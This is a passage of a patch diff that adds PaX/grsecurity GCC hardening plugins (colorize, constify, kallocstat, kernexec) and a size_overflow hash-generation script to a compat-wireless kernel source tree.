++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/colorize_plugin.c 2012-10-15 19:11:12.863824568 +0000 +@@ -0,0 +1,148 @@ ++/* ++ * Copyright 2012 by PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to colorize diagnostic output ++ * ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info colorize_plugin_info = { ++ .version = "201203092200", ++ .help = NULL, ++}; ++ ++#define GREEN "\033[32m\033[2m" ++#define LIGHTGREEN "\033[32m\033[1m" ++#define YELLOW "\033[33m\033[2m" ++#define LIGHTYELLOW "\033[33m\033[1m" ++#define RED "\033[31m\033[2m" ++#define LIGHTRED "\033[31m\033[1m" ++#define BLUE "\033[34m\033[2m" ++#define LIGHTBLUE "\033[34m\033[1m" ++#define BRIGHT "\033[m\033[1m" ++#define NORMAL "\033[m" ++ ++static diagnostic_starter_fn old_starter; ++static diagnostic_finalizer_fn old_finalizer; ++ ++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ const char *color; ++ char *newprefix; ++ ++ switch (diagnostic->kind) { ++ case DK_NOTE: ++ color = LIGHTBLUE; ++ break; ++ ++ case DK_PEDWARN: ++ case DK_WARNING: ++ color = LIGHTYELLOW; ++ break; ++ ++ case DK_ERROR: ++ case DK_FATAL: ++ case DK_ICE: ++ case DK_PERMERROR: ++ case DK_SORRY: ++ color = LIGHTRED; ++ break; ++ ++ default: ++ color = NORMAL; ++ } ++ ++ old_starter(context, diagnostic); ++ if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix)) ++ return; ++ pp_destroy_prefix(context->printer); ++ pp_set_prefix(context->printer, newprefix); ++} ++ ++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic) ++{ ++ old_finalizer(context, diagnostic); ++} ++ ++static void colorize_arm(void) ++{ ++ old_starter = diagnostic_starter(global_dc); ++ old_finalizer = diagnostic_finalizer(global_dc); ++ ++ diagnostic_starter(global_dc) = start_colorize; ++ diagnostic_finalizer(global_dc) = finalize_colorize; ++} ++ ++static unsigned int execute_colorize_rearm(void) ++{ ++ if (diagnostic_starter(global_dc) == start_colorize) ++ return 0; ++ ++ colorize_arm(); ++ return 0; ++} ++ ++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = { ++ .pass = { ++ .type = SIMPLE_IPA_PASS, ++ .name = "colorize_rearm", ++ .gate = NULL, ++ .execute = execute_colorize_rearm, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static void colorize_start_unit(void *gcc_data, void *user_data) ++{ ++ colorize_arm(); ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info colorize_rearm_pass_info = { ++ .pass = &pass_ipa_colorize_rearm.pass, ++ .reference_pass_name = "*free_lang_data", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info); ++ register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info); ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/constify_plugin.c 2012-10-15 19:11:12.864824568 +0000 +@@ -0,0 +1,331 @@ ++/* ++ * Copyright 2011 by Emese Revfy ++ * Copyright 2011 by PaX Team ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification. ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/const_plugin/ ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c ++ * $ gcc -fplugin=constify_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE) ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info const_plugin_info = { ++ .version = "201205300030", ++ .help = "no-constify\tturn off constification\n", ++}; ++ ++static void deconstify_tree(tree node); ++ ++static void deconstify_type(tree type) ++{ ++ tree field; ++ ++ for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++ deconstify_tree(field); ++ } ++ TYPE_READONLY(type) = 0; ++ C_TYPE_FIELDS_READONLY(type) = 0; ++} ++ ++static void deconstify_tree(tree node) ++{ ++ tree old_type, new_type, field; ++ ++ old_type = TREE_TYPE(node); ++ ++ gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST)); ++ ++ new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST); ++ TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type)); ++ for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field)) ++ DECL_FIELD_CONTEXT(field) = new_type; ++ ++ deconstify_type(new_type); ++ ++ TREE_READONLY(node) = 0; ++ TREE_TYPE(node) = new_type; ++} ++ ++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ tree type; ++ ++ *no_add_attrs = true; ++ if (TREE_CODE(*node) == FUNCTION_DECL) { ++ error("%qE attribute does not apply to functions", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == VAR_DECL) { ++ error("%qE attribute does not apply to variables", name); ++ return NULL_TREE; ++ } ++ ++ if (TYPE_P(*node)) { ++ if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE) ++ *no_add_attrs = false; ++ else ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ type = TREE_TYPE(*node); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) { ++ error("%qE attribute is already applied to the type", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) { ++ error("%qE attribute used on type that is not constified", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL) { ++ deconstify_tree(*node); ++ return NULL_TREE; ++ } ++ ++ return NULL_TREE; ++} ++ ++static void constify_type(tree type) ++{ ++ TYPE_READONLY(type) = 1; ++ C_TYPE_FIELDS_READONLY(type) = 1; ++} ++ ++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ *no_add_attrs = true; ++ if (!TYPE_P(*node)) { ++ error("%qE attribute applies to types only", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ *no_add_attrs = false; ++ constify_type(*node); ++ return NULL_TREE; ++} ++ ++static struct attribute_spec no_const_attr = { ++ .name = "no_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_no_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static struct attribute_spec do_const_attr = { ++ .name = "do_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_do_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&no_const_attr); ++ register_attribute(&do_const_attr); ++} ++ ++static bool is_fptr(tree field) ++{ ++ tree ptr = TREE_TYPE(field); ++ ++ if (TREE_CODE(ptr) != POINTER_TYPE) ++ return false; ++ ++ return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE; ++} ++ ++static bool walk_struct(tree node) ++{ ++ tree field; ++ ++ if (TYPE_FIELDS(node) == NULL_TREE) ++ return false; ++ ++ if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) { ++ gcc_assert(!TYPE_READONLY(node)); ++ deconstify_type(node); ++ return false; ++ } ++ ++ for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ enum tree_code code = TREE_CODE(type); ++ ++ if (node == type) ++ return false; ++ if (code == RECORD_TYPE || code == UNION_TYPE) { ++ if (!(walk_struct(type))) ++ return false; ++ } else if (!is_fptr(field) && !TREE_READONLY(field)) ++ return false; ++ } ++ return true; ++} ++ ++static void finish_type(void *event_data, void *data) ++{ ++ tree type = (tree)event_data; ++ ++ if (type == NULL_TREE || type == error_mark_node) ++ return; ++ ++ if (TYPE_READONLY(type)) ++ return; ++ ++ if (walk_struct(type)) ++ constify_type(type); ++} ++ ++static unsigned int check_local_variables(void); ++ ++struct gimple_opt_pass pass_local_variable = { ++ { ++ .type = GIMPLE_PASS, ++ .name = "check_local_variables", ++ .gate = NULL, ++ .execute = check_local_variables, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static unsigned int check_local_variables(void) ++{ ++ tree var; ++ referenced_var_iterator rvi; ++ ++#if BUILDING_GCC_VERSION == 4005 ++ FOR_EACH_REFERENCED_VAR(var, rvi) { ++#else ++ FOR_EACH_REFERENCED_VAR(cfun, var, rvi) { ++#endif ++ tree type = TREE_TYPE(var); ++ ++ if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var)) ++ continue; ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++// if (lookup_attribute("no_const", DECL_ATTRIBUTES(var))) ++// continue; ++ ++// if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type))) ++// continue; ++ ++ if (walk_struct(type)) { ++ error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var); ++ return 1; ++ } ++ } ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ bool constify = true; ++ ++ struct register_pass_info local_variable_pass_info = { ++ .pass = &pass_local_variable.pass, ++ .reference_pass_name = "*referenced_vars", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!(strcmp(argv[i].key, "no-constify"))) { ++ constify = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info); ++ if (constify) { ++ register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh +--- compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/generate_size_overflow_hash.sh 2012-10-15 19:11:12.864824568 +0000 +@@ -0,0 +1,94 @@ ++#!/bin/bash ++ ++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c). ++ ++header1="size_overflow_hash.h" ++database="size_overflow_hash.data" ++n=65536 ++ ++usage() { ++cat <> "$header1" ++ done ++ echo >> "$header1" ++} ++ ++create_structs () { ++ rm -f "$header1" ++ ++ create_defines ++ ++ cat "$database" | while read data ++ do ++ data_array=($data) ++ struct_hash_name="${data_array[0]}" ++ funcn="${data_array[1]}" ++ params="${data_array[2]}" ++ next="${data_array[5]}" ++ ++ echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1" ++ ++ echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1" ++ echo -en "\t.param\t= " >> "$header1" ++ line= ++ for param_num in ${params//-/ }; ++ do ++ line="${line}PARAM"$param_num"|" ++ done ++ ++ echo -e "${line%?},\n};\n" >> "$header1" ++ done ++} ++ ++create_headers () { ++ echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1" ++} ++ ++create_array_elements () { ++ index=0 ++ grep -v "nohasharray" $database | sort -n -k 4 | while read data ++ do ++ data_array=($data) ++ i="${data_array[3]}" ++ hash="${data_array[4]}" ++ while [[ $index -lt $i ]] ++ do ++ echo -e "\t["$index"]\t= NULL," >> "$header1" ++ index=$(($index + 1)) ++ done ++ index=$(($index + 1)) ++ echo -e "\t["$i"]\t= &"$hash"," >> "$header1" ++ done ++ echo '};' >> $header1 ++} ++ ++create_structs ++create_headers ++create_array_elements ++ ++exit 0 +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/kallocstat_plugin.c 2012-10-15 19:11:12.865824568 +0000 +@@ -0,0 +1,167 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to find the distribution of k*alloc sizes ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static const char * const kalloc_functions[] = { ++ "__kmalloc", ++ "kmalloc", ++ "kmalloc_large", ++ "kmalloc_node", ++ "kmalloc_order", ++ "kmalloc_order_trace", ++ "kmalloc_slab", ++ "kzalloc", ++ "kzalloc_node", ++}; ++ ++static struct plugin_info kallocstat_plugin_info = { ++ .version = "201111150100", ++}; ++ ++static unsigned int execute_kallocstat(void); ++ ++static struct gimple_opt_pass kallocstat_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kallocstat", ++ .gate = NULL, ++ .execute = execute_kallocstat, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static bool is_kalloc(const char *fnname) ++{ ++ size_t i; ++ ++ for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++) ++ if (!strcmp(fnname, kalloc_functions[i])) ++ return true; ++ return false; ++} ++ ++static unsigned int execute_kallocstat(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: ++ tree fndecl, size; ++ gimple call_stmt; ++ const char *fnname; ++ ++ // is it a call ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fndecl = gimple_call_fndecl(call_stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (TREE_CODE(fndecl) != FUNCTION_DECL) ++ continue; ++ ++ // is it a call to k*alloc ++ fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl)); ++ if (!is_kalloc(fnname)) ++ continue; ++ ++ // is the size arg the result of a simple const assignment ++ size = gimple_call_arg(call_stmt, 0); ++ while (true) { ++ gimple def_stmt; ++ expanded_location xloc; ++ size_t size_val; ++ ++ if (TREE_CODE(size) != SSA_NAME) ++ break; ++ def_stmt = SSA_NAME_DEF_STMT(size); ++ if (!def_stmt || !is_gimple_assign(def_stmt)) ++ break; ++ if (gimple_num_ops(def_stmt) != 2) ++ break; ++ size = gimple_assign_rhs1(def_stmt); ++ if (!TREE_CONSTANT(size)) ++ continue; ++ xloc = expand_location(gimple_location(def_stmt)); ++ if (!xloc.file) ++ xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ size_val = TREE_INT_CST_LOW(size); ++ fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line); ++ break; ++ } ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_node(stderr, "pax", fndecl, 4); ++ } ++ } ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info kallocstat_pass_info = { ++ .pass = &kallocstat_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c 2012-10-15 19:11:12.866824568 +0000 +@@ -0,0 +1,427 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386 ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info kernexec_plugin_info = { ++ .version = "201111291120", ++ .help = "method=[bts|or]\tinstrumentation method\n" ++}; ++ ++static unsigned int execute_kernexec_reload(void); ++static unsigned int execute_kernexec_fptr(void); ++static unsigned int execute_kernexec_retaddr(void); ++static bool kernexec_cmodel_check(void); ++ ++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *); ++static void (*kernexec_instrument_retaddr)(rtx); ++ ++static struct gimple_opt_pass kernexec_reload_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_reload", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_reload, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct gimple_opt_pass kernexec_fptr_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_fptr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_fptr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct rtl_opt_pass kernexec_retaddr_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "kernexec_retaddr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_retaddr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func | TODO_ggc_collect ++ } ++}; ++ ++static bool kernexec_cmodel_check(void) ++{ ++ tree section; ++ ++ if (ix86_cmodel != CM_KERNEL) ++ return false; ++ ++ section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl)); ++ if (!section || !TREE_VALUE(section)) ++ return true; ++ ++ section = TREE_VALUE(TREE_VALUE(section)); ++ if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10)) ++ return true; ++ ++ return false; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered ++ */ ++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_movabs_stmt; ++ ++ // build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : ); ++ asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL); ++ gimple_asm_set_volatile(asm_movabs_stmt, true); ++ gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(asm_movabs_stmt); ++} ++ ++/* ++ * find all asm() stmts that clobber r10 and add a reload of r10 ++ */ ++static unsigned int execute_kernexec_reload(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: __asm__ ("" : : : "r10"); ++ gimple asm_stmt; ++ size_t nclobbers; ++ ++ // is it an asm ... ++ asm_stmt = gsi_stmt(gsi); ++ if (gimple_code(asm_stmt) != GIMPLE_ASM) ++ continue; ++ ++ // ... clobbering r10 ++ nclobbers = gimple_asm_nclobbers(asm_stmt); ++ while (nclobbers--) { ++ tree op = gimple_asm_clobber_op(asm_stmt, nclobbers); ++ if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10")) ++ continue; ++ kernexec_reload_fptr_mask(&gsi); ++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO); ++ break; ++ } ++ } ++ } ++ ++ return 0; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce ++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference ++ */ ++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi) ++{ ++ gimple assign_intptr, assign_new_fptr, call_stmt; ++ tree intptr, old_fptr, new_fptr, kernexec_mask; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary unsigned long variable used for bitops and cast fptr to it ++ intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts"); ++ add_referenced_var(intptr); ++ mark_sym_for_renaming(intptr); ++ assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // apply logical or to temporary unsigned long and bitmask ++ kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL); ++// kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL); ++ assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // cast temporary unsigned long back to a temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr)); ++ gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT); ++ update_stmt(assign_new_fptr); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_or_stmt, call_stmt; ++ tree old_fptr, new_fptr, input, output; ++ VEC(tree, gc) *inputs = NULL; ++ VEC(tree, gc) *outputs = NULL; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ ++ // build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr)); ++ input = build_tree_list(NULL_TREE, build_string(2, "0")); ++ input = chainon(NULL_TREE, build_tree_list(input, old_fptr)); ++ output = build_tree_list(NULL_TREE, build_string(3, "=r")); ++ output = chainon(NULL_TREE, build_tree_list(output, new_fptr)); ++ VEC_safe_push(tree, gc, inputs, input); ++ VEC_safe_push(tree, gc, outputs, output); ++ asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL); ++ gimple_asm_set_volatile(asm_or_stmt, true); ++ gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT); ++ update_stmt(asm_or_stmt); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++/* ++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer ++ */ ++static unsigned int execute_kernexec_fptr(void) ++{ ++ 